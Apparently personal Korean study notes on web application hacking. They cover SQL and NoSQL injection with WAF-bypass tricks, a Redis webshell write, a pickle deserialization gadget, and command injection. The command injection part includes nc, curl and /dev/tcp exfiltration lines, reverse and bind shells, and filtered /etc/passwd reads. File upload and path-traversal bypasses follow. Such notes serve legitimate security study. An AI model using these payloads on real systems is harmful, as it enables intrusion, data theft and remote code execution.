SQL
DML, Data Manipluation Language
SELECT
- SELECT : 조회하기 위한 표현식, 컬럼의 정의
- FROM : 조회할 테이블의 이름
- WHERE : 조회 조건
- ORDER BY : 원하는 컬럼 기준으로 정렬
- LIMIT : 결과의 행의 갯수와 오프셋 설정
SELECT
uid
FROM
board
WHERE
boardcontent link '%abc%'
ORDER BY uid DESC
LIMIT 5
- board에서 uid를 abc 포함시 uid 내림차순으로 5개 조회.
INSERT
- INSERT : 데이터를 추가할 테이블, 데이터 정의
- INTO : 추가할 테이블과 컬럼 정의
- VALUES : 명시한 컬럼의 데이터를 추가
INSERT
INTO board (title, boardcontent) -- board의 title과 content
VALUES ('title 1', (select upw from users where uid='admin')); -- 서브쿼리를 이용해 boardcontent
UPDATE
- UPDATE : 수정할 테이블을 정의
- SET : 수정할 칼럼과 데이터 정의
- WHERE : 수정할 행의 조건
UPDATE board
SET boardcontent = "updated"
WHERE title = "example"
- 제목이 example인 것의 boardcontent를 수정
DELETE
- DELETE : 삭제할 테이블을 정의하게 됨
- FROM : 삭제할 테이블 정의
- WHERE : 삭제할 조건
DELETE FROM board
WHERE title = "example"
UNION
- 다수의 SELECT문을 결합할수 있다.
- 다른 테이블에 접근하거나 쿼리 결과를 생성해 조작할수 있다.
- 사용조건
- 이전 SELECT문과 UNION SELECT문의 컬럼의 갯수가 같아야 한다.
- 또한 각각의 칼럼의 타입도 같아야 한다.
SELECT * FROM UserTable UNION SELCT * FROM AdminTable
- 두 테이블이 합쳐진다.
SUBQUERY
SELECT (SELECT 1);
1이 출력된다.
substr 함수
- 첫번째로 전달된 문자열을 두번째 인자로 전달된 위치에서 시작해 세번째로 전달된 인자의 문자 수만큼 반환
substr(password, 1, 1) // password에서 1번째부터 1개의 글자를 리턴
if 함수
if(password = "A", "true", "false")
/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
// 위를 활용한 공격의 예시, 첫번째 글자가 무엇인지를 확인하고자 한다.
Blind SQL Injection
- 임의의 데이터를 효율적으로 알아내기 위한 방법
Binary Search
- ascii(substr(pw, 1, 1)) : pw의 첫번째 문자를 ascii 코드로 변환
ascii(substr(pw, 1, 1)) > 79 : 79보다 코드가 큰지 확인
비트연산자
- bin 함수 : bin(ord('A')) : 1000001
- 문자를 숫자로 변환하고 비트로 변환한 예시
- 숫자를 비트의 문자열로 변환한다.
Error based Injection
- 임의로 에러를 발생시켜 DB 혹은 운영체제의 정보를 얻어온다.
extractvalue(1, concat(0x3a, version());
>> XPATH의 version() 함수가 실행되어 결과가 출력되었다.
>> 0x3a 는 : 이다.
- 함수의 첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH를 통해 데이터를 추출
select extractvalue('<a>test</a>', '/a');
>> a test가 조회됨
SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
Error based bline SQL Injection
참 거짓 여부를 확인하기
select if(확인하고 싶은 조건, 9e307*2, 0);
조건이 참이면 에러, 거짓이면 0이 된다.
임의로 에러를 일으켜서 확인을 하는것.
조건에 substr을 넣으면 값을 조회할수 있을것이다.
short circuit evaluation
select 0 AND sleep(1);
// 아무것도 일어나지 않음
select 1 AND sleep(1);
// 1초 후 결과가 나옴 ( 앞이 1이라 뒤의 sleep이 실행됨 )
select 0 or 9e307*2;
// 앞이 0이라 뒤가 실행됨
select 1 or 9e307*2;
// 앞이 1이라 뒤가 실행되지 않음
Time based SQL Injection
- 시간 지연을 이용해 참과 거짓을 판별
- DBMS에서 제공하는 sleep(기다리는 시간, 초로 작성) 혹은 시간이 많이 드는 서브쿼리를 호출
select if(1=1, sleep(1), 0)
SQL Injection 모의 해킹 과정
1. 중요 정보 수집
- System Table : 설정, 계정정보, 테이블, 컬럼정보, 실행중인 쿼리 등을 포함한다.
- MYSQL
- information_schema.PROCESSLIST 를 조회해 실시간 실행 쿼리 확인 가능
- information_schema.user_privileges 를 조회해 서버의 계정정보를 확인 가능
2. DBMS 정보 수집
- version() 함수를 출력하게 한다.
- 임의로 에러메시지를 내게 해 그의 포맷을 확인한다.
- EX. select 1 union select 1, 2 : 둘의 컬럼 갯수가 달라 에러가 난다.
- 시간지연 함수를 사용할수도 있다
- select substr(@@version, 1, 1) = '1' and sleep(1);
3. DBMS Misconfiguration
- 계정 및 권한이 적절하게 분리되지 않거나, 불필요한 기능이 활성화 혹은 보안설정의 미흡을 확인하는것
DBMS 문자열 비교
- MYSQL, MSSQL은 대소문자를 구분하지 않는다.
- 공백문자로 끝나는것은 따로 다르게 보지 않는다, 비교 직전에 공백을 더 추가해 같게 만들어 비교한다.
4. WAF 우회
대소문자 검사
- SeLeCt 1, 2, 3 과 같이 대소문자를 섞어 사용한다.
탐지과정 미흡
- 공격 문자열을 치환하도록 설계되어 있을경우
- SELECT 대신 seSELECTlect 와 같이 보내면 select가 공백으로 치환되어도 select 가 남는다.
문자열 검사 미흡
- admin 과 같은 문자열을 감지할 경우
- reverse("nimda") 로 거꾸로 뒤집기 / concat("ad", "min") 으로 합치기
0x6162 /0b110000101100010 : ab 와 같이 진법을 이용해 우회가능
char(0x61) 과 같은 함수로 우회 가능
연산자 검사 미흡
- and, or 등을 막을시 비슷한 의미의 &&와 ||을 사용할수 있다.
공백탐지
select`username`,`password`from`users`where`username`=`admin`
- /**/ 을 공백 대신 사용할수 있다 ( 빈 주석 )
공백 대신 개행을 함으로 우회 가능
%09 - 탭 문자를 통해 우회 가능
MYSQL
- /* 이 부분은 실행을 안함 */
- /*! 이 부분은 실행이 됨 */
select 1 /*!union*/ select 2;
==
select 1 union select 2;
SQLITE
연산자
- like 문자열 포함 여부
- % : 여러 문자열
- _ : 개별 문자열
- "AAA" like "A%" > true
NOSQL Injection
CouchDB
- JSON 형태로 값을 저장, REST API를 통해 CRUD를 한다.
MongoDB
- JSON 형식으로 쿼리문을 작성
- EX. db.user.find({id : "11"})
- $regex를 이용해 정규식을 사용, blindinjection 이 가능하다.
- $where을 이용해 js 문법으로 확인 가능
- find({$where: "this.upw.substring(0, 1)=='a'"})
- &&을 이용해 sleep()으로 time based / error based 둘다 가능하다.
Redis
- ?uid[]='a'&uid[]='b' 와 같이 전송할 경우, 앞이 key, 뒤가 value로서 삽입될수 있다.
- 배열의 첫번째 원소, 두번째 원소로 보내는 방식이다.
Redis SSRF
- 유효하지 않은 명령이 입력되어도 끊기지 않고 다음 명령어 실행
- HTTP body에 명령어를 넣어 실행할수 있다.
- 헤더는 유효하지 않은 명령어 취급, body를 실행
- 이를 방지하기 위해 http 프로토콜 입력이 들어오면 끊어버리나, 다른 프로토콜로 공격하면 그만임.
직렬/역직렬 화
- 직렬화 : 객체 또는 데이터를 특정 포맷의 형태로 변환하는것
- 역직렬화 : 직렬화된 데이터를 본래 객체/데이터로 되돌리는것
PICKLE : 객체를 직렬화, 파일에 저장 혹은 파일을 객체로 역직렬화
- __reduce__ 메소드의 경우 객체를 역직렬 할때 객체를 재구성하는 튜블을 반환, 호출 가능한 객체를 반환할수 있다.
- 호출 가능한 객체로 os.system 을 반환시 시스템 명령어가 실행될수 있다.
class Test:
def __reduce__(self):
return os.system, ("id", )
# 위는 역직렬화시 코드가 실행됨.
SAVE 명령어
- Redis는 인 메모리 DB라 데이터 손실 방지를 위해 메모리 값을 파일 시스템에 일정 시간마다 저장
- 명령어 이용해 저장하는 파일의 주기 지정 혹은 즉시 저장 가능
SAVE 명령어를 통해 웹셸을 저장하는 예시
CONFIG set dir /tmp
CONFIG set dbfilename redis.php
// 경로와 파일이름 지정
SET test '<?php system($_GET['cmd']); ?>
SAVE
// 저장
slaveof / replicaof
- 뒤에 host port 를 붙혀 결과를 보내줄수 있다.
replicaof 127.0.0.1 8888
module load 명령어
- module load /var/lib/redis/moduls.so 와 같이 로드
- module list 를 통해 확인
Linux Command injection
실행결과를 알수 없을때 ( 방화벽 없음 )
- Network outbound
- 명령줄에 네트워크 도구를 실행해 결과를 전송한다.
ls | nc 127.0.0.1 8080
ls | telnet 127.0.0.1 8080
curl "http://127.0.0.1:8080/?$(ls)"
curl "http://127.0.0.1:8080/" -d "$(ls)"
ls > /dev/tcp/127.0.0.1/8080
- Reverse & Bind shell
- 임의로 실행할 명령어를 네트워크를 통해 입력하고 실행결과를 출력
Reverse shell
공격 대상 서버
& /dev/tcp/127.0.0.1/8080 0>&1
& /dev/udp/127.0.0.1/8080 0>&1
공격자 서버
nc -l -p 8080 -k -v
Bind shell
nc -nlvp 8080 -e /bin/sh
- 파일 생성
- 확인할수 있는 경로에 명렁어의 실행 결과를 생성
웹쉘 등록
printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php
static 폴더에 실행결과 저장
mkdir static; id > static/result.txt
실행결과를 알수 없을때 ( 방화벽 있음 )
sleep 사용
bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then sleep 2; fi;" # --> sleep for 0 seconds; false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
에러 활용
- cat /dev/urandom 명령 실행시 에러가 나는것을 활용
bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then cat /dev/urandom; fi;" # --> 200 false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then cat /dev/urandom; fi;" # --> 500 true
입력 가능 길이가 제한되어 있을때
printf bas>/tmp/1
printf h>>/tmp/1
printf \<>>/tmp/1
printf /d>>/tmp/1
printf ev>>/tmp/1
printf /t>>/tmp/1
printf cp>>/tmp/1
printf />>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 7.>>/tmp/1
printf 0.>>/tmp/1
printf 0.>>/tmp/1
printf 1/>>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 3 >>/tmp/1
printf 4 >>/tmp/1
bash</tmp/1&
// 명령어를 담은 파일을 만들어 실행
- IP주소를 정수로 만들어 curl 을 실행할수도 있음
입력값이 제한되어 있는 경우
X=$'\x20';cat${X}/etc/passwd
// 공백문자 우회, X=$'\040'도 가능.
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
c''a""t /etc/passwd
\c\a\t /etc/passwd
c${invalid_variable}a${XX}t /etc/passwd
// cat 문자열 우회
echo -e "\x69\x64" | sh
echo $'\151\144'| sh
X=$'\x69\x64'; sh -c $X
// id 문자열 우회
cat `xxd -r -p <<< 2f6574632f706173737764`
// etc/passwd 우회
윈도우 취약점
- 윈도우는 파일 접근만으로는 시스템 제어가 어렵고, 기능에 알맞은 API를 사용해야 한다.
파일 업로드 공격
Apache Web server
- 일반적으로 C:\ApacheXY\htdocs 혹은 C:\www 디렉토리에 설정 파일 관리
- 설정파일 내에서 AccessFileName 사용시 설정파일을 분산해 관리 가능
- 아파치 설정의 기본값은 .htaccess
- 위 파일은 웹서버 권한만 있으면 덮어쓸수 있음
파일명
- 파일명 뒷부분에 . 또는 공백이 있을시 자동으로 제거됨
경로변환
- /문자를 \로 변환해 사용
- 이를 이용해 경로 검사 우회 가능
리눅스 취약점
- 리눅스는 프로세스 등 다양한 객체들을 파일을 통해 제어
파일 업로드 공격
- 웹서비스는 일반 계정 권한으로 실행됨
- 일반 권한으로 덮어쓸수 있는것을 덮어씀
- 아파치의 경우 /etc/apache2 혹은 /etc/httpd 에서 설정 관리
- .htaccess 파일을 덮어써 다양한 행위 가능
파일 다운로드 공격
- 개인정보를 포함한 민감한 정보를 수집하는데 이용될수 있다.
EX. DB/운영체제 개인정보, 방화벽 규칙, 소스코드
파일 취약점
우회하기
널문자
- C언어에서 널문자는 문자열의 끝 혹은 값을 초기화 하기 위해 사용
- 웹 응용프로그램에서 널문자를 허용하고, 파일명 끝의 널문자로 확장자 판단시 확장자 검사를 우회하고 악의적인 행위가 가능
실제 입력 : baz/quix.cfg%00.jpg
인식된 파일명 : baz/quix.cfg
// 널문자 뒷부분은 날라감.
- 아파치 등의 웹서버는 이를 방지하기 위해 널문자 포함 요청이 들어오면 400을 리턴함.
Path traversal
- 업로드 혹은 다운로드 경로를 조작하는 공격 방식
- . : 현재 디렉토리, .. : 상위 디렉토리
확장자 정규식 처리
\..*, \.[^.]*
- . 뒤에 있는 모든 부분 문자열을 찾음
- .png.jpg 와 같은 경우 분리하지 못할수 있음
(\.[^.]*)$
- 가장 마지막에 위치한 .을 기준으로 문자열을 찾음
- .jpg.png 같은 경우는 .png 를 찾고
- .htaccess 와 같은 파일 처리시 이를 확장자로 인식
[^.](\.[^.]*)$
- 시작부분의 .을 무시하고 찾음
- 모든 에러가 없음
- $는 줄의 끝을 의미, “dream.jpg\nwebshell.php”로 우회됨.
확장자 치환
- .php 를 없애는 예시인데
- .ph.php.h 의 경우 .php가 없어져 정상적 .php가 된다.
NTFS 데이터 스트림
- NTFS 의 경우 Alterate Data Stream을 통해 맥 파일 시스템과의 호환을 제공한다.
- 이 뿐만 아니라 파일의 아이콘 등의 부가적 데이터를 다른 스트림에 추가하기 위해 탄생, 한 파일에 여러가지 데이터를 데이터 스트림에 감출수 있어 악성코드로 많이 사용되었다.
와일드카드
파일 삭제 공격
- 임의 파일을 삭제할수 있을때, 운영체제 또는 응용프로그램의 중요 정보를 포괄하는 파일을 삭제시 서비스 마비 가능
- config.php / dbconfig.php 와 같은데서 기본설정을 저장하는 서비스의 경우 파일을 못 찾으면 해당 파일 생성을 위한 설치페이지로 가는데, 이것을 공격서버와 연결해 원격 코드의 실행이 가능하다.